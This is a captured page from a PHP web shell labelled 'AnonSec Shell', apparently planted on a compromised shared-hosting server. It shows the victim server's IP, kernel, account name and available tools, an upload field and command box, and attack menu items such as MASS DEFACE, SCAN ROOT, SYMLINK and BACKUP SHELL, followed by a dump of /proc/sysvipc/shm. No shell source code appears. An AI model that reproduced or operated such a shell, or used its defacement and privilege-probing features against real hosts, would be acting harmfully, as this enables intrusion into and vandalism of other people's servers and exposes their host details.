. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 104.21.26.5  /  Your IP : 216.73.216.221   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium35.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : lasanffc ( 2331)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  170065920  1600                672744 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366454                675840                     0
         0  170065921  1600                694432 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366456                679936                 16384
         0  170065922  1600                716128 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366458                704512                 12288
      5555          3   644                  1024  5726 2224003      0     0     0     0     0 1765973192 1765973192 1749716572                  4096                     0
         0  170065925  1600                737816 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366461                724992                 16384
         0  170065926   600                759512 3123130 2286954      2   475   468   475   468 1766039178 1766039178 1765366463                761856                     0
         0  181207055  1400                121200 1372969 3120072      2   484   479     0     0 1766038530          0 1766038530                122880                     0
 178400265  149422103   600                  5000 2599858 2599858      0     0     0     0     0 1764146003 1764146232 1764146003                     0                  8192
         0  181207066  1600                524288 2280354 2280358      1  2257  2251  2257  2251 1766039101 1766039113 1766039101                  8192                     0
         0  170033181  1600                   576 3123124 2286954      6   475   468   475   468 1766039178 1766039178 1765366389                  4096                     0
         0  170033182  1600               2263056 3123124 2286954      6   475   468   475   468 1766039178 1766039178 1765366389               2265088                     0
         0  170033184  1600                 21744 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366391                 24576                     0
         0  170033185  1600                 43456 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366393                 45056                     0
         0  170033186  1600                 65160 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366395                 65536                     0
   5432001  170033187   600                    56 3124457 2286695      6    26    26    26    26 1766039175 1766039175 1765366397                     0                  4096
         0  170033188  1600                 86856 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366397                 86016                  4096
         0  170033189  1600                108560 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366399                110592                     0
         0  170033191  1600                130312 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366401                131072                     0
         0  170033192  1600                152008 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366404                155648                     0
         0  170033193  1600                173712 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366406                176128                     0
         0  170033194  1600                195408 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366408                196608                     0
         0  170033195  1600                217112 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366410                221184                     0
         0  170033196  1600                238816 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366412                241664                     0
         0  170033197  1600                260544 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366414                262144                     0
         0  170033198  1600                282240 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366416                278528                  4096
         0  170033199  1600                303944 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366418                307200                     0
         0  170033200  1600                325632 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366420                319488                  8192
         0  170033201  1600                347328 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366422                348160                     0
         0  170033202  1600                369016 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366424                364544                  8192
         0  170033203  1600                390704 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366426                393216                     0
         0  170033204  1600                412400 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366428                413696                     0
         0  170033205  1600                434096 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366430                430080                  4096
         0  170033206  1600                455784 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366432                450560                  8192
         0  170033207  1600                477472 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366434                471040                  8192
         0  170033208  1600                499168 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366436                499712                     0
         0  170033209  1600                520856 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366439                524288                     0
         0  170033210  1600                542544 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366441                540672                  4096
         0  170033211  1600                564240 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366443                552960                 12288
         0  170033212  1600                585936 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366445                589824                     0
         0  170033213  1600                607632 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366447                602112                  8192
         0  170033214  1600                629336 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366449                626688                  4096
         0  170033215  1600                651040 3123130 2286954      1   475   468   475   468 1766039178 1766039178 1765366452                651264                     0

Anon7 - 2022
AnonSec Team